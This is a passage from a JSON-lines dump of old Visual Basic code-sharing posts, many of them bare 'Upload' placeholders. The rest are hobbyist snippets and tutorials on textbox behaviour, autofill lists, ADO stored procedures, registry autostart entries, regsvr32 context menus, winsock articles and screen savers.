copy/paste any part of it in the one below\"\n' no border\nText1.BorderStyle = 0\n' flat (not 3D)\nText1.Appearance = 0\n' backcolor is the same as your windows default backcolor\nText1.BackColor = vbButtonFace\nEnd Sub\n\nPrivate Sub Text1_Keydown(KeyCode As Integer, Shift As Integer)\nIf (Shift = vbCtrlMask And (KeyCode = vbKeyInsert Or KeyCode = vbKeyC)) And _\n (Text1.SelLength <> 0) Then\n ' if user presses CTRL-C or CTRL-INS (Windows keyboard shortcuts to copy to clipboard)\n ' and if there is selected text, then copy this text\n Clipboard.SetText Text1.SelText\nElseIf KeyCode <> vbKeyLeft And KeyCode <> vbKeyRight And KeyCode <> vbKeyUp And KeyCode <> vbKeyDown Then\n ' if not an arrow key then cancel\n KeyCode = 0\nEnd If\nEnd Sub\nPrivate Sub Text1_KeyPress(KeyAscii As Integer)\n' whatever key is pressed, cancel it\nKeyAscii = 0\nEnd Sub\n"},{"WorldId":1,"id":30645,"LineNumber":1,"line":"' #########################################################################\n' Autofill/Autotext\n'\n' (c) 2002 Tilleul\n' #########################################################################\n' Automatically completes text entry according to a listbox contents.\n' Autofill/Autotext uses one text control and one listbox control to\n' simulate an autotext feature. Works fast thanks to SendMessage API\n' (supports loooong lists w/o trouble).\n' Supports Up and Down arrow keys as well as PgUp and PgDn.\n' Enter key behaves like tab.\n' #########################################################################\n' To use this code:\n' 1- open a new VB project\n' 2- draw a textbox control (name = text1)\n' 3- draw a listbox control (name = list1)\n' 4- change the listbox SORTED property to TRUE\n' 5- draw any other controls you want (this is optional, for lostfocus tests)\n' 6- copy/paste this is in the form1 code\n' #########################################################################\n' As long as the text box is edited, it has the focus\n' As long as it has the focus, the listbox is displayed\n' Using the mouse wheel on the listbox, makes the text box lose the focus\n' To avoid this, one should implement a mouse wheel trap\n' #########################################################################\n' #########################################################################\n' API Function SendMessage\nPrivate Declare Function SendMessage Lib \"User32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Integer, ByVal wParam As Integer, lParam As Any) As Long\nConst LB_FINDSTRING = &H18F\nDim byKey As Boolean ' is list1_click event activated by a key press ?\nDim byCode As Boolean ' is text1_change event activated by code ?\nPrivate Sub Form_Load()\n' init some things ...\n' first, hide list\nList1.Visible = False\n' set list position\nList1.Top = Text1.Top + Text1.Height\nList1.Left = Text1.Left\nList1.Width = Text1.Width\n' set list in front of all objects\nList1.ZOrder\n' then, let's populate the listbox with random strings\nFor i = 0 To 10000\n a$ = \"\"\n For j = 0 To 8\n a$ = a$ & Chr$(Int(Rnd(1) * 26 + 65))\n Next\n List1.AddItem a$\nNext\nEnd Sub\nPrivate Sub List1_Click()\n' overrides any \"list1.visible=false\" event-driven code ...\nList1.Visible = True\n' if the listindex changed because of a key press, we don't need to move the caret\nIf byKey = True Then\n ' we need to store the caret position because\n ' it'll be zero when we'll update the text\n n = Text1.SelStart\nElse\n n = 0\nEnd If\n \n' change text box contents according to item selected\nbyCode = True ' avoids calling text1_change event\nText1.Text = List1.List(List1.ListIndex)\nbyCode = False\n' let's change the selected text\nText1.SelStart = n\nText1.SelLength = Len(Text1.Text) - n\nEnd Sub\n\nPrivate Sub Text1_Change()\n' if we come from list1_click event, exit at once\nIf byCode = True Then Exit Sub\nIf Len(Text1.Text) <> 0 Then\n ' show the list\n List1.Visible = True\n \n ' store caret position\n n = Text1.SelStart\n \n \n byKey = True\n ' find the listindex of the first occurence of text1.text in listbox1\n p = SendMessage(List1.hWnd, LB_FINDSTRING, -1, ByVal Left$(Text1.Text, n))\n If p >= 0 Then\n If p <> List1.ListIndex Then\n List1.ListIndex = p\n Else\n List1_Click\n End If\n Else\n ' it wasn't found in listbox1 so we don't need what's after the caret anymore\n byCode = True\n Text1.Text = Left$(Text1.Text, n)\n Text1.SelStart = n\n byCode = False\n End If\n byKey = False\nElse\n ' hide the list if text1.text is empty\n List1.Visible = False\nEnd If\nEnd Sub\nPrivate Sub Text1_DblClick()\n' hides/unhides list1 on double click\n' this is a very nice trick (fast too) to avoid using IF x=true THEN x=false ELSE x=true\n' remember that TRUE=-1 and FALSE=0\n' X = -X - 1 switches from 0 to -1 and -1 to 0 nicely :-)\nList1.Visible = -List1.Visible - 1\nEnd Sub\nPrivate Sub Text1_Keydown(KeyCode As Integer, Shift As Integer)\n' LSTEP = how many items are scrolled down/up when pressing pgup/pgdn\n' a constant here but this can certainly be computed though\nConst LSTEP = 10\nSelect Case KeyCode\n Case vbKeyUp ' move up the list\n List1.ListIndex = IIf(List1.ListIndex = 0, 0, List1.ListIndex - 1)\n KeyCode = 0\n Case vbKeyDown ' move down the list\n List1.ListIndex = IIf(List1.ListCount - 1 = List1.ListIndex, List1.ListCount - 1, List1.ListIndex + 1)\n KeyCode = 0\n Case vbKeyPageUp ' scroll up more items\n n = List1.ListIndex - LSTEP\n If n < 0 Then n = 0\n List1.ListIndex = n\n Case vbKeyPageDown ' scroll down more items\n n = List1.ListIndex + LSTEP\n If n > List1.ListCount - 1 Then n = List1.ListCount - 1\n List1.ListIndex = n\n Case vbKeyReturn\n ' when Enter is pressed, make it behave like Tab key\n SendKeys \"{TAB}\", True\nEnd Select\nEnd Sub\nPrivate Sub Text1_LostFocus()\n' focus goes somewhere else, so hide listbox\nList1.Visible = False\nEnd Sub\n"},{"WorldId":1,"id":22305,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1252\">\n<META NAME=\"Generator\" CONTENT=\"Microsoft Word 97\">\n<TITLE>There is an undocumented Trick for calling stored procedures in vb using ado</TITLE>\n</HEAD>\n<BODY>\nThere is an undocumented shortcut for calling stored procedures in vb using ado.\n┬á\nWe normally call stored Procedures using the following\n┬á\n1)command object.\n2)recordset object's open method.\n3)connection object's execute method.\n┬á\nHere are a Few Examples of the undocumented way to call stored procedures using vb and ado:\n1)a simple example without input parameters or return recordsets.\nStored Procedure:\nCreate proc p1\nas\nselect * into copy1 from authors\nVB Call\nDim cn As New ADODB.Connection\nDim rs As New ADODB.Recordset\ncn.Open \"driver=sql server;server=sheraze\\sheraze;\"\ncn.p1 \n'u wont get all the stored procedure names at design time.\n2)this sample takes an input parameter and returns a recordset \nStored Procedure:\nCreate proc p2 (@name varchar(10))\nas\nselect * from authors where au_lname = @name\nVB Call\nDim cn As New ADODB.Connection\nDim rs As New ADODB.Recordset\ncn.Open \"driver=sql server;server=sheraze\\sheraze;database=pubs\"\ncn.p2 \"white\", rs \n'u wont get all the stored procedure names at design time.\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n-sheraze</BODY>\n</HTML>\n"},{"WorldId":1,"id":21224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23738,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22046,"LineNumber":1,"line":"Private Sub Form_Load()\nlx2 = Me.ScaleWidth\nColor = 0\nEnd Sub\nPrivate Sub Timer1_Timer()\nColor = Color + 1\nIf Color < 255 Then\nMe.ForeColor = RGB(Color, 0, 0)\nlx1 = lx1 + 3\nlx2 = lx2 - 3\nMe.Line (lx1, Me.ScaleLeft)-(lx1, Me.ScaleWidth)\nMe.Line (lx2, Me.ScaleWidth)-(lx2, Me.ScaleLeft)\nMe.Line (0, lx1)-(Me.ScaleWidth, lx1)\nMe.Line (Me.ScaleHeight, lx1)-(Me.ScaleTop, lx2)\nElseIf Color > 254 Then\nTimer1.Enabled = False\nTimer2.Enabled = True\nEnd If\nEnd Sub\nPrivate Sub Timer2_Timer()\nColor = Color - 1\nIf Color > 1 Then\nMe.ForeColor = RGB(Color, 0, 0)\nlx1 = lx1 + 3\nlx2 = lx2 - 3\nMe.Line (lx1, Me.ScaleLeft)-(lx1, Me.ScaleWidth)\nMe.Line (lx2, Me.ScaleWidth)-(lx2, Me.ScaleLeft)\nMe.Line (0, lx1)-(Me.ScaleWidth, lx1)\nMe.Line (Me.ScaleHeight, lx1)-(Me.ScaleTop, lx2)\nElseIf Color < 1 Then\nTimer2.Enabled = False\nEnd If\nEnd Sub"},{"WorldId":1,"id":22049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22029,"LineNumber":1,"line":"Private Sub Form_Load()\nRed = 0\nEnd Sub\nPrivate Sub Timer1_Timer()\nRed = Red + 1\nIf Red < 255 Then\nMe.ForeColor = RGB(0, Red, 0)\nElseIf Red > 254 Then\nEnd If\nlY1 = lY1 + 3\nMe.Line (0, lY1)-(Me.ScaleWidth, lY1)\nMe.Line (ly1, 0)-(Me.ScaleHeight, lY1)\nEnd Sub"},{"WorldId":1,"id":34240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34178,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34699,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34291,"LineNumber":1,"line":"S.O.S \nabout Frx and Exe file size\nIn \nsome cases, the size of FRX and EXE files is higher than it should be.\nThese cases only \ninvolve forms with picture-box controls which contain pictures and\nThese pictures have \nbeen changed at least once (Replaced by a new picture)\n \nThis is caused because Visual Basic \nsaves all binary data (Such as pictures) in the\nend of the form's FRX file. Now, If \nyou change a picture-box's picture property to a new picture the old picture \nwill not be overwritten, and still allocate space in the frx file.\nThis problem also effects the \ncompiled EXE file which saves all the data from the frx file.\n \nIn a game is was doing I had to \nchange the Picture of an image control that contained the\nBackground image many times.\n \nFindings:\nFrx File size: 1.14 MB\nExe File size: 1.83 MB\n \nThen I deleted the Form1.frx file and \nset the pictures again.\n \nFindings:\nFrx File size: 0.340 MB (340KB \nonly!!!)\nExe File size: 0.412 MB (412 KB \nonly!!!)\n \nConclusion:\nAfter making a lot of changes in a \nprogram you make, and the changes concern binary data (Pictures, Ole container \ndata) always delete the FRX files and set the properties from squad."},{"WorldId":1,"id":23138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27043,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24680,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21870,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28889,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15115,"LineNumber":1,"line":"Ok i assume you read my article on how to create a registry entry, if not search in the top search link for \"auto run registry entry\" and you should find it. \nThis is how to remove a registry entry from the registry. \nSome where in your project you will need to insert the following code. \n\n<pre>\nCall DeleteStringValue(HKEY_LOCAL_MACHINE, \"Software\\microsoft\\windows\\currentversion\\run\", \"currency\")\n</pre>\n\nAfter this has been inserted into your code goto your module form in your project and enter the following code. \n\n<pre>\nPublic Exist As Boolean\nPublic Const HKEY_CLASSES_ROOT = &H80000000\nPublic Const HKEY_CURRENT_USER = &H80000001\nPublic Const HKEY_LOCAL_MACHINE = &H80000002\nPublic Const HKEY_USERS = &H80000003\nPublic Const HKEY_PERFORMANCE_DATA = &H80000004\nPublic Const ERROR_SUCCESS = 0&\nPublic Const REG_SZ = 1\nDeclare Function RegCloseKey Lib \"advapi32.dll\" (ByVal Hkey As Long) As Long\nDeclare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nDeclare Function RegDeleteValue Lib \"advapi32.dll\" Alias \"RegDeleteValueA\" (ByVal Hkey As Long, ByVal lpValueName As String) As Long\nDeclare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nDeclare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\nDeclare Function RegSetValueEx Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long\n</pre>\n\nAfter that has been inserted place this code into your program listing and you should be able to delete registry entries \n\n<pre>\nPublic Sub DeleteStringValue(Hkey As Long, strPath As String, strValue As String)\nDim keyhand As Long\nDim i As Long\n 'Open the key\n i = RegOpenKey(Hkey, strPath, keyhand)\n 'Delete the value\n i = RegDeleteValue(keyhand, strValue)\n 'Close the key\n i = RegCloseKey(keyhand)\nEnd Sub\n</pre>\n\nRemember that in the code <pre>\nHKEY_LOCAL_MACHINE, \"Software\\microsoft\\windows\\currentversion\\run\", \"currency\") \n</pre>\nThe item, \"hkey_local_machine\" can be changed to any root inside the registry. \n\"software\\microsoft\\windows\\currentversion\\run\" can be any point inside the root directory you have specified. \n\"currency\" Is tha name of the registry entry that you are putting into the registry, change it to something that is of meaning to your program and should exist inside the registry already (in other words you have created it using the method I told you about on creating registry entries in an earlier tutorial. \nAs always if you need help with anything mail me and i will help you as best i can. \nThanks Dean."},{"WorldId":1,"id":15092,"LineNumber":1,"line":"What you have to do to use this code is:\nIn your project (for example, form_load())\ninsert the following text somewhere that would be useful to your project: \n\n<pre>\nCall SetStringValue(HKEY_LOCAL_MACHINE, \"Software\\microsoft\\windows\\currentversion\\run\", \"Currency\", App.Path + \"\\\" + App.EXEName + \".exe\") \n</pre>\nThis code will put the current project path and the current project name in the windows auto run section in the windows registry. \nThe benfit of this is so that you can have your program start as windows starts. \nAdd to your project a module \nproject -> add module \nand insert the following code \n\n<pre>\nPublic Exist As Boolean \nPublic Const HKEY_CLASSES_ROOT = &H80000000 \nPublic Const HKEY_CURRENT_USER = &H80000001 \nPublic Const HKEY_LOCAL_MACHINE = &H80000002 \nPublic Const HKEY_USERS = &H80000003 \nPublic Const HKEY_PERFORMANCE_DATA = &H80000004 \nPublic Const ERROR_SUCCESS = 0& \nPublic Const REG_SZ = 1 \nDeclare Function RegCloseKey Lib \"advapi32.dll\" (ByVal Hkey As Long) As Long \nDeclare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long \nDeclare Function RegDeleteValue Lib \"advapi32.dll\" Alias \"RegDeleteValueA\" (ByVal Hkey As Long, ByVal lpValueName As String) As Long \nDeclare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long \nDeclare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long \nDeclare Function RegSetValueEx Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long \n</pre>\nAfter this has been added also add the following code to your module file \n\n<pre>Public Sub SetStringValue(Hkey As Long, strPath As String, strValue As String, strdata As String)\nDim keyhand As Long\nDim i As Long\n 'Create the key\n i = RegCreateKey(Hkey, strPath, keyhand)\n 'Set the value\n i = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\n 'Close the key\n i = RegCloseKey(keyhand)\nEnd Sub</pre>\n \nThis then should allow the setstringvalue to be accessed and the information you need be put into the windows auto run registry. \nI must thank <a href=\"http://www.okdeluxe.com\"> T. L. Phillips </a> for the code for the module form, that is where i optained it. \nHope you like the code! :) \nif you need help with it (although you shouldn't) mail me :) (As for the Link to mr phillips's website, that is beyond my control and the link that is on his source submissions)"},{"WorldId":1,"id":22361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32114,"LineNumber":1,"line":"Sorry, I couldn't upload it to PSC, I don't know why.\nPlease download it at:\nhttp://planeta.terra.com.br/informatica/fredisoft/downloads/Direct3DGame.zip\n** IMPORTANT **\nDo not use any downloader, like GetRight, Gozzila, etc...\nTurn it off."},{"WorldId":1,"id":32719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32514,"LineNumber":1,"line":"PLEASE, VOTE FOR ME IF YOU LIKE IT AND LEAVE SOME FEEDBACKS, TELL ME WHAT YOU THINK.\nSorry, I couldn't upload it to PSC, I don't know why. Please download it at: \nhttp://planeta.terra.com.br/informatica/fredisoft/downloads/TakeLent.zip\n** IMPORTANT ** Do not use any downloader, like GetRight, Gozzila, etc... Turn it off."},{"WorldId":1,"id":26195,"LineNumber":1,"line":"LastDayOfMonth = DateSerial(Year(ADate), Month(ADate) + 1, 0"},{"WorldId":1,"id":26199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23411,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":17888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":18501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21467,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15204,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26612,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26636,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30755,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"it\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 5.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<title>Nuova pagina 1</title>\n</head>\n<body>\nEasy way to \nRegister/Unregister DLLs \nThe lines below add the items \nRegister \nUnregister \nto the Explorer menu when the user does right click on it with the mouse \nthat will avoid to register manually everytime the activex using REGSVR32.EXE \n-copy to a file RegOCX.REG the lines below as is (with all spaces) then double \nclick on it to \nadd them to the registry \nREGEDIT4 \n[HKEY_CLASSES_ROOT\\ocxfile\\shell] \n[HKEY_CLASSES_ROOT\\ocxfile\\shell\\Register] \n@="&Register OCX" \n[HKEY_CLASSES_ROOT\\ocxfile\\shell\\Register\\command] \n@="\\"REGSVR32.EXE\\" \\"%1\\"" \n[HKEY_CLASSES_ROOT\\ocxfile\\shell\\Unregister] \n@="&Unregister OCX" \n[HKEY_CLASSES_ROOT\\ocxfile\\shell\\Unregister\\command] \n@="\\"REGSVR32.EXE\\" \\"%1\\" \\"/U\\" " \n \n**** To do the same with the DLLs **** \nREGEDIT4 \n[HKEY_CLASSES_ROOT\\dllfile\\shell] \n[HKEY_CLASSES_ROOT\\dllfile\\shell\\Register] \n@="&Register ActiveX DLL" \n[HKEY_CLASSES_ROOT\\dllfile\\shell\\Register\\command] \n@="\\"REGSVR32.EXE\\" \\"%1\\"" \n[HKEY_CLASSES_ROOT\\dllfile\\shell\\Unregister] \n@="&Unregister ActiveX DLL" \n[HKEY_CLASSES_ROOT\\dllfile\\shell\\Unregister\\command] \n@="\\"REGSVR32.EXE\\" \\"%1\\" \\"/U\\" " \n \n</body>\n</html>\n"},{"WorldId":1,"id":30426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24520,"LineNumber":1,"line":"Yet another winsock article. I made this article after downloading a portscanner on PSC. \nIt said something about scanning 100 ports in few seconds. Anyway it wasn't very good, it just opened a new socket for every port so if you wanted to scan a lot of ports, you needed to load many sockets, and it took a great deal of resources. anyway: \nThis will teach you how to select the amount of sockets you want to open, and then scan ports. Just a basic portscanner, nothing special works but with no features. \nRemeber to download the zip if you want the project to be in with the aricle. \nIn the compressed there is 3 folders. \narticle: The article \nsimple: The simple portscanner we make in the article \nscanner: A better portscanner, not that the scanning code is, but better look and some other features. \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/portscn/article/1.htm\" TARGET=\"_blank\">Article</A> - The article online \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/portscn.zip\" TARGET=\"_blank\">Compressed</A> - The compressed flie (recomended download), also containing article \nPlease leave some comments \nThe editor article that is linked to in this article, isn't uploaded yet, and will first be uploaded after Roskilde Festival if I have time before I go on vacaion (Juli 1st)"},{"WorldId":1,"id":23592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22167,"LineNumber":1,"line":"Yet another winsock article, it have the same style as earlier articles, so it will be easy to understand. \nIt's some very basic network programming that you just need to learn, no matter what. It teaches you to work with many connections at a time. \nCheck out the files below, a good idea is to download the compressed, in that there is a project as well as the article. \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/msocks/1.htm\">Article</A> - This is the article, in html \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/msocks.zip\">Compressed</A> - The compressed file (located on another server) \nHope you enjoy it, and remember to give me some feedback "},{"WorldId":1,"id":21988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21557,"LineNumber":1,"line":"**UPDATE** \nI have updated some small errors, and commented the project file some. And better servers\n \nI did read that PSCode didn't want articles just linking to another site, but I don't see any other way. \nLook at the end to see the link. \nIt will guide you trhough creating a fully working OCX. I have also included the project of the OCX in the compressed file (in the future this project will be more commented). \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/ocx/1.htm\">This is the article</A> \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/ocx.zip\">This is the compressed file (located on another server than pscode)</A> \nHope you enjoy reading the article, and I will try to keep on posting more stuff like this article in the future. \nPlease give me feedback \nError in the upload script so can't uplaod the compressed to pscode."},{"WorldId":1,"id":22489,"LineNumber":1,"line":"As always I will place some links, but this time I also upload it to psc (if it works), and I will try to update my old projects by uploading, but check the URL's because that is were I post updates first. \nWell let's talk about this article. It's the ending of an era. It's a fully working chat server and client, not advanced, but I have made it easy for you to advance it, and given you some ideas. \nI think that is a good way to learn, if you learn by making something you'r self, and you don't even have to think this time, I have already done some of it for you, well not it all, but download the article and find out. \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/chatprj/1.htm\">Article</A> - The article(but you need the whole project, so don't use this one, use the compressed. \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/chatprj.zip\">Compressed</A> - Get this one. \nPlease give some feedback. Although it's a little strange article if you compare to my other articles."},{"WorldId":1,"id":21020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26103,"LineNumber":1,"line":"How to make screen savers.\nApplication Title: \nA Windows screen saver is nothing more that a regular Windows\nexecutable file that has been renamed with the .scr extension. In\nVisual Basic, when you are making the executable file, you will\nneed to set the Application Title in the Make EXE dialog box.\nThis Application Title MUST be set to "SCRNSAVE title",\nwhere title is the text you want displayed in the Control Panel\nscreen saver dropdown box. \nCommand Line Arguments: \nWhen Windows starts up a screen saver it calls it with the\n"/s" argument, and when it wants to Setup the screen\nsaver it uses the "/c" argument.\nScreen Saver Running?:\nYou must tell windows that the screen saver is running. if you\ndont windows will run your screen saver more than once if you\nleave your computer long enough. To do this you call: \nSystemParametersInfo(SPI_SETSCREENSAVEACTIVE,\n0, ByVal 0&, 0)\nHiding the cursor:\nWhen you make a screen saver you want to\nhide the cursor right? after all, your suppost to be idle why\nwould you need one, it just makes your screen saver look bad. So\nto hide it you use ShowCursor: \nShowCursor (True) shows it and HideCursor (False) hides it, easy\nhuh!\nWhen do i go back to windows?:\nWhen you move the mouse or hit a key\nthe screen saver should close....ok \nyou can detect these by _mousemove events and 